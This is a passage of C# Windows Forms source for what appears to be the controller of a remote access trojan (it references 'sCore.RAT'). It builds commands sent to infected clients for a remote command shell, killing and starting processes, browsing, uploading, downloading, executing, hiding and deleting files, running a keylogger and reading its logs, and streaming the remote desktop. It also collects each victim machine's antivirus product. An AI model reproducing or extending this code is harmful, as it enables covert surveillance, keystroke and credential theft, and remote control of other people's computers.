listView3.Items.Add(lvi); //Add the item to the list listView3.Items[0].Selected = true; //Select the first item of the list } } /// /// Delegate used to add command line output /// /// The output to add private delegate void appendText(String text); /// /// Append command line output to the Remote Cmd view /// /// The text to append to the output private void Append(String text) { if (this.InvokeRequired) //If we need to invoke { appendText callback = new appendText(Append); //Create a new callback this.Invoke(callback, new object[] { text }); //Invoke the callback } else { richTextBox2.Text += text + Environment.NewLine; //Append the output text } } /// /// Delegate used to add processes to the list /// /// The name of the process /// The response state of the process /// The title of the processe's main window /// The priorty of the process /// The full path of the executed file /// The PID private delegate void setProcInfo(String name, String responding, String title, String priority, String path, String id); /// /// Add processes to the list /// /// The name of the process /// The response state of the process /// The title of the processe's main window /// The priorty of the process /// The full path of the executed file /// The PID private void SetprocInfoCallback(String name, String responding, String title, String priority, String path, String id) { if (this.InvokeRequired) //If we need to invoke { setProcInfo callback = new setProcInfo(SetprocInfoCallback); //Create a new callback this.Invoke(callback, new object[] { name, responding, title, priority, path, id }); //Invoke the callback } else { ListViewItem lvi = new ListViewItem { Text = name //Set the process name }; //Create a new listView item lvi.SubItems.Add(id); //Set the PID lvi.SubItems.Add(responding); //Set the response state lvi.SubItems.Add(title); //Set the main window's title lvi.SubItems.Add(priority); //Set the processe's priority lvi.SubItems.Add(path); //Set the execute file's path listView2.Items.Add(lvi); //Add the provess to the list } } /// /// Delegate used to add client info to the list /// /// The name of the client's machine /// The local IPv4 address of the client /// The time of the client's machine /// The anti virus product of the client's machine /// The ID of the client private delegate void setlvClientInfo(String name, String ip, String time, String av, int id); /// /// Add client info to the list /// /// The name of the client's machine /// The local IPv4 address of the client /// The time of the client's machine /// The anti virus product of the client's machine /// The ID of the client private void SetlvClientInfoCallback(String name, String ip, String time, String av, int id) { if (this.InvokeRequired) //if we need to invoke { setlvClientInfo k = new setlvClientInfo(SetlvClientInfoCallback); //Create a new callback this.Invoke(k, new object[] { name, ip, time, av, id }); //Invoke the callback } else { ListViewItem client = listView1.Items[id]; //Get the client's list item client.SubItems.Add(name); //Set the machine name client.SubItems.Add(ip); //Set the mmachine IPv4 local address client.SubItems.Add(time); //Set the machine time client.SubItems.Add(av); //Set the machine anti virus product } } /// /// Delegate used to add screens to the list /// /// The screen to add private delegate void setScreenCount(char screenCount); /// /// Set the screen count of the remote client /// /// The screen count to set private void SetClientScreenCountCallBack(char screenCount) { if (InvokeRequired) //If we need to invoke { setScreenCount callBack = new setScreenCount(SetClientScreenCountCallBack); //Create new callback Invoke(callBack, new object[] { screenCount }); //Invoke the callback } else { cmboChooseScreen.Items.Add(screenCount); //Add the screen to the list } } #endregion #region Route Window Function /// /// Event handler for handling a removed tool strip item with route window /// /// The sender of the event /// The event args private void TSItemRemoved(object sender, ToolStripItemEventArgs e) { System.Threading.Monitor.Enter(TSLockObject); tsitem.Remove(e.Item); int tsIndex = tsitem.FindIndex((x) => { if (x == e.Item) return true; else return false; }); tsrefname.RemoveAt(tsIndex); System.Threading.Monitor.Exit(TSLockObject); } /// /// Event handler for handling a removed tool strip item with route window /// /// The sender of the event /// The event args private void TSItemAdded(object sender, ToolStripItemEventArgs e) { System.Threading.Monitor.Enter(TSLockObject); tsitem.Add(e.Item); tsrefname.Add(e.Item.Name); System.Threading.Monitor.Exit(TSLockObject); } /// /// Control value update from routed windows /// /// The sender of the event /// The event args private void UpdateValues(object sender, EventArgs e) { if (setvalue.Count != 0) //If we need to set values { Console.WriteLine("update setValue"); //Debug Function List tempInst = setvalue; //Temp store the setValue list try //Try { foreach (String task in setvalue) //Loop through the setvalue tasks { foreach (TabPage t in tabControl1.TabPages) //Loop thorught each TabPage { bool breakTab = false; //Break event control Control.ControlCollection all = t.Controls; //Get the controls on the TabPage foreach (Control c in all) //Loop through all the controls { String name = task.Split('§')[0]; //Get the name of the control if (name == c.Name) //If the control names match { if (name.StartsWith("textBox") || name.StartsWith("richTextBox")) //If it's a textbox type control { c.Text = task.Split('§')[1]; //Set the requested text tempInst.Remove(task); //Remove the task from the list } if (name.StartsWith("checkBox")) //If it's a checkBox control { String param = task.Split('§')[1]; //Get the value parameter bool set = false; //Declare a new boolean parameter if (param.ToLower() == "true") set = true; //Convert the parameter to boolean CheckBox cb = c as CheckBox; //Convert the control to a checkBox cb.Checked = set; //Set the check state tempInst.Remove(task); //Remove the task from the list } if (name.StartsWith("comboBox")) //If it's a combobox control { String param = task.Split('§')[1]; //Get the parameter ComboBox cb = c as ComboBox; //Convert the control to combobox cb.SelectedItem = param; //Set the selected item tempInst.Remove(task); //Remove the task from the list } if (name.StartsWith("listView")) //If it's a listView control { String param = task.Split('§')[1]; //Get the value paramenter int set = int.Parse(param); //Convert the value to integer ListView lv = c as ListView; //Convert the control to listView lv.Items[lv.SelectedIndices[0]].Selected = false; //Deselect the currently selected element lv.Items[set].Selected = true; //Select our element Console.WriteLine("setvalue INDEX: " + set.ToString()); //Debug Function //lv.Focus(); tempInst.Remove(task); //Remove the task } breakTab = true; //If we found our control, then break out of the current tab } } if (breakTab) //If break tab is signalled then break { break; //Break the loop } } if (task.Split('§')[0].StartsWith("tabControl1")) //If we need to update the selected page { Console.WriteLine("setValue tabControl1.SelectedPage"); //Debug Function String param = task.Split('§')[1]; //Get the value parameter tabControl1.SelectedTab = pages[int.Parse(param) - 1]; //Set the selected tab tempInst.Remove(task); //Remove the task from the list //Console.WriteLine(tempInst.Count.ToString()); } } setvalue = tempInst; //Update the setValue commands } catch (Exception ex) //If we messed something up { //Do nothing Console.WriteLine("Routed Window value update error ERROR =" + ex.Message); //Write the error to the console } } List tmp = new List(); //Create a new temporary list object foreach (TabPage t in tabControl1.TabPages) //Loop thorugh the TabPages { Control.ControlCollection all = t.Controls; //Get all control on the current page foreach (Control c in all) //Loop through the controls { //()(c.Name); if (c.Name.StartsWith("button")) //if the control is a button { tmp.Add(c.Name + "§" + c.Text); //Store the button name and text } if (c.Name.StartsWith("label")) //If the control is a label { tmp.Add(c.Name + "§" + c.Text); //Store the name and the text } if (c.Name.StartsWith("checkBox")) //If the control is a checkBox { CheckBox cc = (CheckBox)c; //Convert the control to a checkBox tmp.Add(c.Name + "§" + cc.Checked.ToString().ToLower()); //Store the name and the value } if (c.Name.StartsWith("comboBox")) //If the control is a combobox { ComboBox cb = (ComboBox)c; //Convert the control to a combobox string si = ""; //Declare the selected item if (cb.SelectedItem != null) si = cb.SelectedItem.ToString(); //Get the selected item tmp.Add(c.Name + "§" + si); //Add the name and the selected item } if (c.Name.StartsWith("textBox")) //If the control is a textBox { tmp.Add(c.Name + "§" + c.Text); //Store the name and the value } if (c.Name.StartsWith("richTextBox")) //If the control is a richTextBox { tmp.Add(c.Name + "§" + c.Text); //Store the name and the value } if (c.Name.StartsWith("listView")) //If the control is a listView { ListView lv = (ListView)c; //Convert the control to a listView String select = ""; //Declare the selected item String items = lv.Name + "§"; //Declare the items and the name if (lv.SelectedIndices.Count > 0) //If items are selected { select = lv.SelectedIndices[0].ToString(); //Get the selected item's index //Console.WriteLine("LV Select Index Stored: " + select); } else { select = "-1"; //No selected item } foreach (ListViewItem lvi in lv.Items) //Loop through the items { String emt = ""; //Declare subitems int sindex = lvi.SubItems.Count; //Get the count of the item's subitems int count = 0; //Declare the subitem count foreach (ListViewItem.ListViewSubItem si in lvi.SubItems) //Loop through the subitems { if (count < sindex) //If it's not the last item { emt += si.Text + "|"; //Append to the string with separator } else //If it's the last item { emt += si.Text; //Appen ti the string without separator } count++; //Increment the cout } items += emt + "§"; //Append all subitems to the items } items += select; //Append the selected index to the items tmp.Add(items); //Add the command to the tmp list (all list items) } } } getvalue = tmp; //Set the getvalues command to tmp selected = tabControl1.SelectedTab; //Get the selected tabControl //protectLv = false; //this.Text = getvalue.Count.ToString(); } /// /// Execute a tool stirp item /// /// The name of the item to execute public void ExecuteToolStrip(String name) { System.Threading.Monitor.Enter(TSLockObject); int track = 0; //Declare index variable foreach (String refname in tsrefname) //Go through every tool strip item { if (refname != name) //If names doesn't match { track++; //Increment the index; continue; //Continue } tsitem[track].PerformClick(); //Execute the toolstrip item //track++; //Increment the index break; //Break the loop } System.Threading.Monitor.Exit(TSLockObject); } /// /// Get the value of a stored control (from Main Form) /// /// The name of the control to get the value of /// The value of the control public static String GetValue(String name) { String val = ""; //Declare the value foreach (String entry in getvalue) //Loop through every stored control { String key = entry.Split('§')[0]; //Get the key if (key == name) //If the key matches the name { val = entry.Split('§')[1]; //Set the value } } return val; //Return the value } /// /// Get the selected index of a control (from Main Form) /// /// The name of the control to get the selected index of /// The selected index of the control public int GetSelectedIndex(String name) { int val = 0; //Declare the value foreach (String entry in getvalue) //Go through ech stored control { String key = entry.Split('§')[0]; //Get the control's key if (key == name) //If the key matches the name { val = int.Parse(entry.Split('§')[1]); //Store the selected index of the control } } return val; //Return the value } /// /// Get the selected item of a stored control (from Main Form) /// /// The name of the control to get the selected item of /// The selected item of the control public String GetSelectedItem(String name) { String val = ""; //Declare the value foreach (String entry in getvalue) //Loop through every stored control { String key = entry.Split('§')[0]; //Get the control's key if (key == name) //If the key matches the control's name { val = entry.Split('§')[1]; //Get the selected item } } return val; //Return the value } /// /// Get a control checked state (from Main form) /// /// The name of the control to get the checked stated of /// The checked stated of the control public bool GetChecked(String name) { bool val = false; //Declare checked state String ret = ""; //Declare the value foreach (String entry in getvalue) //Loop through each stored control { String key = entry.Split('§')[0]; //Get the key of the control if (key == name) //If the key matches the control's name { ret = entry.Split('§')[1]; //Store the value } } ret = ret.ToLower(); //Convert the value to lower case letters if (ret == "true") //if the value is true { val = true; //set the value to true } else { val = false; //Set the value to false } return val; //Return the value } /// /// Get the items of a listView control /// /// The name of the control /// The mode of getting the item /// The items based on the requested mode public String[] GetItems(String name, String mode) { List ret = new List(); //Declare a list for results Control lvc = Controls.Find(name, true)[0]; //Find the listView control ListView lv = (ListView)lvc; //Convert the control to a listView if (mode == "selected") //If the mode is selected { foreach (String entry in getvalue) //Go through the elements { String key = entry.Split('§')[0]; //Get the key of the control if (key == name) //if the key of the control matches the control's name { int subCount = entry.LastIndexOf('§') + 1; //Get the subitems count String sItem = entry.Substring(subCount); //Cut every subitem ret.Add(sItem); //Return the last element -> the selected index } } } if (mode == "items") //If mode is items { foreach (String entry in getvalue) //Go through the stored controls { String key = entry.Split('§')[0]; //Get the key of the control if (key == name) //If the key matches the control's name { String nameString = entry.Split('§')[0]; //Get the listView name int subS = nameString.Length + 1; //Set the cut count to it's length + 1 for the separator char String lvString = entry.Substring(subS); //Get the items and the selected item int subE = lvString.LastIndexOf('§'); //Get the last separator char if (subE == -1) return ret.ToArray(); //If no separator chars then just return lvString = lvString.Substring(0, subE); //Cut the selected element (the last element) foreach (String item in lvString.Split('§')) //Split the items { ret.Add(item); //Add the items to the return array } } } } return ret.ToArray(); //Return the values } /// /// Handle the right clicks on the tab page header /// /// The sender of the event /// The event args private void tabControl1_Click(object sender, EventArgs e) { MouseEventArgs me = (MouseEventArgs)e; //Convert the event args to mouse event args if (me.Button == System.Windows.Forms.MouseButtons.Right) //If right click was pressed { ContextMenuStrip cms = new ContextMenuStrip(); //Create a new context menu strip cms.Items.Add("Route Window"); //Add the items route window cms.Items[0].Click += new EventHandler(RWind); //Assign a click handler cms.Show(Cursor.Position); //Show the context menu strip } } /// /// Route TabPage to Window /// /// The sender of the event /// The event args private void RWind(object sender, EventArgs e) { TabPage srcRoute = tabControl1.SelectedTab; //Get the route source RouteWindow rw = new RouteWindow { page = srcRoute //Set the page to the route source }; //Declare a new route window rw.RoutePage(); //Route the page } #endregion #region UI Event Handlers /// /// Start / Stop The server listener /// /// The sender of the event /// The event args private void button1_Click(object sender, EventArgs e) { if (!IsStartedServer) //If the server is stopped { SetupServer(); //Setup the server IsStartedServer = true; //Set the started flag to true button1.Text = "Terminate Server"; //Update the button text if (reScanTarget) //If we need to rescan { //MessageBox.Show("rescan"); tabControl1.SelectedTab = tabPage1; //Select tab page1 (client selection) List sock = _clientSockets; //Copy the client list List conn = new List(); //Create a new list for connected clients foreach (Socket s in sock) //Loop thourgh every client { if (s.Connected) conn.Add(s); //If client is connected, then add it to the connected list } _clientSockets = conn; //Set the client list to the connected clients listView1.Items.Clear(); //Clear the clients list int id = 0; //Declare index variable foreach (Socket client in _clientSockets) //Go through the connected sockets { SendCommand("getinfo-" + id.ToString(), id); //Resend getinfo -> to change the client IDs id++; //Increment the index //MessageBox.Show("getinfo-" + id.ToString()); } reScanStart = -1; //Reset the scan target reScanTarget = false; //Reset the scan flag } return; //Return } if (IsStartedServer) //If the server is started { CloseAllSockets(); //Close all clients and the server socket label1.Text = "Server is offline"; //Update the UI button1.Text = "Start Server"; //Update button text listView1.Items.Clear(); //Clear the client list } } /// /// Select the controlled client /// /// The sender of the event /// The event args private void button2_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) //If an item is selected { controlClient = int.Parse(listView1.SelectedItems[0].SubItems[0].Text.Replace("Client ", string.Empty)); sCore.RAT.ServerSettings.SetCurrentClient(hostToken, controlClient); //Set the current client's ID for plugins SendCommand("getstart", controlClient); //Get the application startup directory } } /// /// Display remote message box /// /// The sender of the event /// The event args private void button3_Click(object sender, EventArgs e) { string title = textBox1.Text; //Get the title text string text = textBox2.Text; //Get the message text string icons = comboBox1.SelectedItem.ToString(); //Get the selected icon string buttons = comboBox2.SelectedItem.ToString(); //Get the selected button int ico = 0; //Declare int icon code int btn = 0; //Declare int button code // Map icons and buttons to int numbers! switch (icons) //Switch on icons { case "Error": ico = 1; //Error icon break; case "Warning": ico = 2; //Warning icon break; case "Information": ico = 3; //Information icon break; case "Question": ico = 4; //Question mark icon break; case "None": ico = 0; //No icons break; } switch (buttons) //Switch on buttons { case "Yes No": btn = 1; //Yes and No buttons break; case "Yes No Cancel": btn = 2; //Yes No and Cancel buttons break; case "Abort Retry Ignore": btn = 3; //Abort Retry and Ignore buttons break; case "Ok Cancel": btn = 4; //Ok and Cancel buttons break; case "Ok": btn = 0; //Ok button break; } //Construct data StringBuilder sb = new StringBuilder(); sb.Append("msg|") .Append(title).Append("|") .Append(text).Append("|") .Append(ico).Append("|") .Append(btn).Append("|"); SendToTarget(sb.ToString()); //Send the command to the client } /// /// Play frequency on remote client /// /// The sender of the event /// The event args private void button4_Click(object sender, EventArgs e) { string cmd = "freq-" + textBox3.Text; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Play system sound on remote client /// /// The sender of the event /// The event args private void button5_Click(object sender, EventArgs e) { string opt = comboBox3.SelectedItem.ToString(); //The system sound to play string code = "0"; //The code of the sound switch (opt) //Switch on opt { case "Beep": code = "0"; //Beep sound break; case "Error": code = "1"; //Error sound break; case "Warning": code = "2"; //Warning sound break; case "Information": code = "3"; //Information sound break; } string cmd = "sound-" + code; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Execute Text To Speech on a remote client /// /// The sender of the event /// The event args private void button6_Click(object sender, EventArgs e) { string cmd = "t2s|" + richTextBox1.Text; //Construct the command SendToTarget(cmd); //Send to command to the client } /// /// Open the CD Tray on a remote client /// /// The sender of the event /// The event args private void button12_Click(object sender, EventArgs e) { const string cmd = "cd|open"; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Close the CD Tray on a remote client /// /// The sender of the event /// The event args private void button13_Click(object sender, EventArgs e) { const string cmd = "cd|close"; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Hide/show the clock on a remote client /// /// The sender of the event /// The event args private void button7_Click(object sender, EventArgs e) { Control c = (Control)sender; //Get the sender control string cmd = ""; //Declare command variable if (c.Text.Contains("Visible")) //If it's visible { cmd = "emt|hide|clock"; //Construct the command c.Text = "Clock: Hidden"; //Update the button } else { cmd = "emt|show|clock"; //Contruct the command c.Text = "Clock: Visible"; //Update the button } SendToTarget(cmd); //Send the command to the client } /// /// Hide/show the task bar on a remote client /// /// The sender of the event /// The event args private void button8_Click(object sender, EventArgs e) { Control c = (Control)sender; //Get the sender control string cmd = ""; //Declar the command if (c.Text.Contains("Visible")) //If it's visible { cmd = "emt|hide|task"; //Construct the command c.Text = "Task Bar: Hidden"; //Update the button } else { cmd = "emt|show|task"; //Construct the command c.Text = "Task Bar: Visible"; //Update the button } SendToTarget(cmd); //Send command to the client } /// /// Hide/show the desktop icons on a remote client /// /// The sender of the event /// The event args private void button9_Click(object sender, EventArgs e) { // TODO: extract code to separate function along with all elements related commands Control c = (Control)sender; //Get the sender control string cmd = ""; //Declare the command if (c.Text.Contains("Visible")) //If it's visible { cmd = "emt|hide|desktop"; //Construct the command c.Text = "Desktop Icons: Hidden"; //Update the button } else { cmd = "emt|show|desktop"; //Construct the command c.Text = "Desktop Icons: Visible"; //Update the button text } SendToTarget(cmd); //Send the command to the client } /// /// Hide/show the tray icons on a remote client /// /// The sender of the event /// The event args private void button10_Click(object sender, EventArgs e) { Control c = (Control)sender; //Get the sender control string cmd = ""; //Declare the command if (c.Text.Contains("Visible")) //If it's visible { cmd = "emt|hide|tray"; //Construct the command c.Text = "Tray Icons: Hidden"; //Update the button } else { cmd = "emt|show|tray"; //Construct the command c.Text = "Tray Icons: Visible"; //Update the button } SendToTarget(cmd); //Send the command to the client } /// /// Hide/show the start menu on a remote client /// /// The sender of the event /// The event args private void button11_Click(object sender, EventArgs e) { Control c = (Control)sender; //Get the sender control string cmd = ""; //Declare the command if (c.Text.Contains("Visible")) //If it's visible { cmd = "emt|hide|start"; //Construct the command c.Text = "Start Menu: Hidden"; //Update the button } else { cmd = "emt|show|start"; //Construct the command c.Text = "Start Menu: Visible"; //Update the button } SendToTarget(cmd); //Send the command to the client } /// /// Refresh the process list /// /// The sender of the event /// The event args private void refreshToolStripMenuItem1_Click(object sender, EventArgs e) { const string cmd = "proclist"; //Construct the command listView2.Items.Clear(); //Clear the process list SendToTarget(cmd); //Send the command to the client } /// /// Kill a process on a remote client /// /// The sender of the event /// The event args private void killToolStripMenuItem_Click(object sender, EventArgs e) { if (listView2.SelectedItems.Count > 0) //If a process is selected { string id = listView2.SelectedItems[0].SubItems[1].Text; //get the process id string cmd = $"prockill|{id}"; //Construct the command SendToTarget(cmd); //Send the command to the client System.Threading.Thread.Sleep(1000); //Wait for the client to kill the process listView2.Items.Clear(); //Clear the process list SendToTarget("proclist"); //List the processes } } /// /// Start a new process on a remote client /// /// The sender of the event /// The event args private void button14_Click(object sender, EventArgs e) { if (textBox4.Text != "") //If process name isn't empty { string cmd = $"procstart|{textBox4.Text}|{comboBox4.SelectedItem.ToString()}"; //Construct the command SendToTarget(cmd); //Send the command to the client textBox4.Clear(); //Clear the process name box System.Threading.Thread.Sleep(1000); //Wait for the client to start the process listView2.Items.Clear(); //Clear the process list SendToTarget("proclist"); //List the processes } } /// /// Start/Stop remote command line /// /// The sender of the event /// The event args private void button15_Click(object sender, EventArgs e) { if (!IsCmdStarted) //If it's stopped { const string command = "startcmd"; //Construct the command SendToTarget(command); //Send the command to the client IsCmdStarted = true; //Set the cmd started flag button15.Text = "Stop Cmd"; //Update the button } else { const string command = "stopcmd"; //Construct the command SendToTarget(command); //Send the command to the client IsCmdStarted = false; //Set the cmd started flag to false button15.Text = "Start Cmd"; //Update the button } } /// /// Handle remote command line input /// /// The sender of the event /// The event args private void textBox5_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return && IsCmdStarted) //If remote cmd is started and eneter is pressed { string command = $"cmd§{textBox5.Text}"; //Construct the command textBox5.Text = ""; //Remove the text from the textBox if (command == "cmd§cls" || command == "cmd§clear") //Filter screen clear commands { richTextBox2.Clear(); //Clear the screen locally } else if (command == "cmd§exit") //If we need to exit { //Ask the user for exitting from remote terminal or sending the exit command or doing nothing DialogResult result = MessageBox.Show(this, "Do you want to exit from the remote cmd?", "Warning", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question); if (result == DialogResult.Yes) //Stop the remote cmd { SendToTarget("stopcmd"); //Send command to the client button15.Text = "Start Cmd"; //Update button IsCmdStarted = false; //Set the cmd started flag to false } } else SendToTarget(command); //Send the command to the client } else if (e.KeyCode == Keys.Return && !IsCmdStarted) //If eneter is pressed and remote cmd is not started { MessageBox.Show(this, "Cmd Thread is not started!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user } } /// /// List the drives on a remote client /// /// The sender of the event /// The event args private void listDrivesToolStripMenuItem_Click(object sender, EventArgs e) { const string command = "fdrive"; //Construct the command SendToTarget(command); //Send the command to the client } /// /// Change the current directory /// /// The sender of the event /// The event args private void enterDirectoryToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedIndices.Count > 0) //If and item is selected { string path = listView3.SelectedItems[0].Text; //if the item is not drive or a directory if ((path.Length != 3 && !path.EndsWith(":\\")) || listView3.SelectedItems[0].SubItems[1].Text != "Directory") { MessageBox.Show(this, "The selected item is not a directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user return; //Return } CurrentPath = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the directory or drive string command = $"fdir§{CurrentPath}"; //Construct the command SendToTarget(command); //Send the command to the client listView3.Items.Clear(); //Clear the file list } else { MessageBox.Show(this, "No directory is selected", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user } } /// /// Travel to the parent directory /// /// The sender of the event /// The event args private void toolStripMenuItem1_Click(object sender, EventArgs e) { if (CurrentPath == "drive") //If we reached the top { MessageBox.Show(this, "Action cancelled!", "You are at the top of the file tree!", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user return; //Return } string cmd = $"f1§{CurrentPath}"; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Move a file on the remote client /// /// The sender of the event /// The event args private void moveToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { xfer_path = listView3.SelectedItems[0].SubItems[3].Text; //Get the item's full path xfer_mode = xfer_move; //Store the transfer mode } } /// /// Copy a file on the remote client /// /// The sender of the event /// The event args private void copyToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { xfer_path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full file path xfer_mode = xfer_copy; //Store the transfer mode } } /// /// Paste a file to the current directory on a remote client /// /// The sender of the event /// The event args private void currentDirectoryToolStripMenuItem_Click(object sender, EventArgs e) { string cmd = $"fpaste§{CurrentPath}§{xfer_path}§{xfer_mode}"; //Construct the command SendToTarget(cmd); //Send the command RefreshFiles(); //Refresh the file list } /// /// Paste a file to the selected directory /// /// The sender of the event /// The event args private void selectedDirectoryToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { if (listView3.SelectedItems[0].SubItems[1].Text != "Directory") //If the items isn't the directory { MessageBox.Show(this, "You can only paste a file into a directory", "Alert", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user return; //Return } string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the directory SendToTarget($"fpaste§{path}§{xfer_path}§{xfer_mode}" + path + "§" + xfer_path + "§" + xfer_mode); //Send the command to the client RefreshFiles(); //Refresh the file list } } /// /// Execute file on the remote client /// /// The sender of the event /// The event args private void executeToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the files full path string command = $"fexec§{path}"; //Construct the command SendToTarget(command); //Send the command to the client } } /// /// Hide a file on the remote client /// /// The sender of the event /// The event args private void hideToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the file string command = $"fhide§{path}"; //Contruct the command SendToTarget(command); //Send the command to the client } } /// /// Show a file on the remote client /// /// The sender of the event /// The event args private void showToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the file string command = $"fshow§{path}"; //Construct the command SendToTarget(command); //Send the command to the client } } /// /// Delete a file on a remote client /// /// The sender of the event /// The event args private void deleteToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the file string command = $"fdel§{path}" + path; //Construct the command SendToTarget(command); //Send the command to the client RefreshFiles(); //Refresh the file list } } /// /// Rename a file on the remote client /// /// The sender of the event /// The event args private void renameToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the item string newName = ""; //Decalre the new name variable if (InputBox("Rename", "Please enter the new name of the file / directory!", ref newName) != DialogResult.OK) //Ask for the newName and if accepted { return; // User denied to specify a new name } string cmd = $"frename§{path}§{newName}" + path + "§" + newName; //Construct the command SendToTarget(cmd); //Send the command to the client RefreshFiles(); //Refresh the file list } } /// /// Create a new file on the remote client /// /// The sender of the event /// The event args private void fileToolStripMenuItem_Click(object sender, EventArgs e) { string name = ""; //Declare the file name if (InputBox("New File", "Please enter the name and extension for the new file!", ref name) != DialogResult.OK) //Ask for the new name and if accepted { return; // User cancelled the prompt } string command = $"ffile§{CurrentPath}§{name}"; //Construct the command SendToTarget(command); //Send the command to the client RefreshFiles(); //Refresh the file list } /// /// Create new directory on the remote client /// /// The sender of the event /// The event args private void directoryToolStripMenuItem_Click(object sender, EventArgs e) { string name = ""; //Declare directory name if (InputBox("New Directory", "Please enter the name for the new directory!", ref name) != DialogResult.OK) //Ask for the new name and if accepted { return; // User cancelled the operation } string command = $"fndir§{CurrentPath}§{name}"; //Construct the command SendToTarget(command); //Send the command to the client RefreshFiles(); //Refresh the file list } /// /// Edit file contents on a remote client /// /// The sender of the event /// The event args private void editToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //if an item is selected { string path = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the item if (listView3.SelectedItems[0].SubItems[1].Text != "Directory") //If item isn't a directory { return; // The user cancelled the operation } string cmd = $"getfile§{path}"; //Construct the command edit_content = path; //Store the path of the edited file SendToTarget(cmd); //Send the command to the client } } /// /// Upload file to current directory /// /// The sender of the event /// The event args private void currentDirectoryToolStripMenuItem1_Click(object sender, EventArgs e) { string dir = CurrentPath; //Store the current path string file = ""; //Declatre the file name OpenFileDialog ofd = new OpenFileDialog(); //Create new file selector if (ofd.ShowDialog() == DialogResult.OK) file = ofd.FileName; //Get the selected file else return; // User didn't select a file to upload FileInfo fileInfo = new FileInfo(file); dir += "\\" + fileInfo.Name; //Construct the new file path string cmd = $"fup§{dir}§{fileInfo.Length}"; //Construct the command fup_local_path = file; //Store the local file path for uploading SendToTarget(cmd); //Send the command to the client } /// /// Upload file to the selected directory /// /// The sender of the event /// The event args private void selectedDirectoryToolStripMenuItem1_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { string dir = listView3.SelectedItems[0].SubItems[3].Text; //Get the items full path string file = ""; //Declare file path OpenFileDialog ofd = new OpenFileDialog(); //Create new file selector if (ofd.ShowDialog() == DialogResult.OK) file = ofd.FileName; //Get the local file path else return; // User didn't select the file to save to FileInfo fileInfo = new FileInfo(file); dir += "\\" + fileInfo.Name; //Construct the remote file path string cmd = $"fup§{dir}§{fileInfo.Length}"; //Construct the command fup_local_path = file; //Set the local file path to upload SendToTarget(cmd); //Send the command to the client } } /// /// Download a file from a remote client /// /// The sender of the event /// The event args private void downloadToolStripMenuItem_Click(object sender, EventArgs e) { if (listView3.SelectedItems.Count > 0) //If an item is selected { if (listView3.SelectedItems[0].SubItems[1].Text == "Directory") return; //If user selected a directory return string remoteFile = listView3.SelectedItems[0].SubItems[3].Text; //Get the full path of the file string cmd = $"fdl§{remoteFile}"; //Construct the command SaveFileDialog sfd = new SaveFileDialog { FileName = listView3.SelectedItems[0].SubItems[0].Text //Set the default file name }; //Create new file saver dialog if (sfd.ShowDialog() == DialogResult.OK) //If the user pressed save { fdl_location = sfd.FileName; //Store the local location SendToTarget(cmd); //Send the command to the client } } } /// /// Start a keylogger on a remote client /// /// The sender of the event /// The event args private void button16_Click(object sender, EventArgs e) { SendToTarget("sklog"); //Send the command to the client } /// /// Stop the keylogger on a remote client /// /// The sender of the event /// The event args private void button17_Click(object sender, EventArgs e) { SendToTarget("stklog"); //Stop the remote client } /// /// Read keylogs on a remote client /// /// The sender of the event /// The event args private void button18_Click(object sender, EventArgs e) { SendToTarget("rklog"); //Send the command to the client } /// /// Clear the keylogs on a remtoe client /// /// The sender of the event /// The event args private void button19_Click(object sender, EventArgs e) { SendToTarget("cklog"); //Send command to client } /// /// Start a remote desktop session on a remote client /// /// The sender of the event /// The event args private void btnStartRemoteScreen_Click(object sender, EventArgs e) { btnCountScreens.Enabled = false; //Disable the screen counter button cmboChooseScreen.Enabled = false; //Disable the scrren chooser btnStartTaskManager.Enabled = true; //Enable the task manager opener button btnFullScreenMode.Enabled = true; //Enable full screen mode button trackBar1.Enabled = false; //Disable the FPS trackBar if (cmboChooseScreen.SelectedItem != null) //If a screen number is selected { SendToTarget($"screenNum{cmboChooseScreen.SelectedItem.ToString()}"); //Set the screen on the remote client } System.Threading.Thread.Sleep(1500); //Wait for the client MultiRecv = true; //Set multiRevc since this is a surveillance module RDesktop = true; //Enable the remote desktop flag SendToTarget("rdstart"); //Send the command to the client } /// /// Stop remote desktop session on a remote client /// /// The sender of the event /// The event args private void btnStopRemoteScreen_Click(object sender, EventArgs e) { btnCountScreens.Enabled = true; //Enable screen counter button cmboChooseScreen.Enabled = true; //Enable screen selector trackBar1.Enabled = true; //Enable FPS trackBar btnStartTaskManager.Enabled = false; //Disable task manager opener button 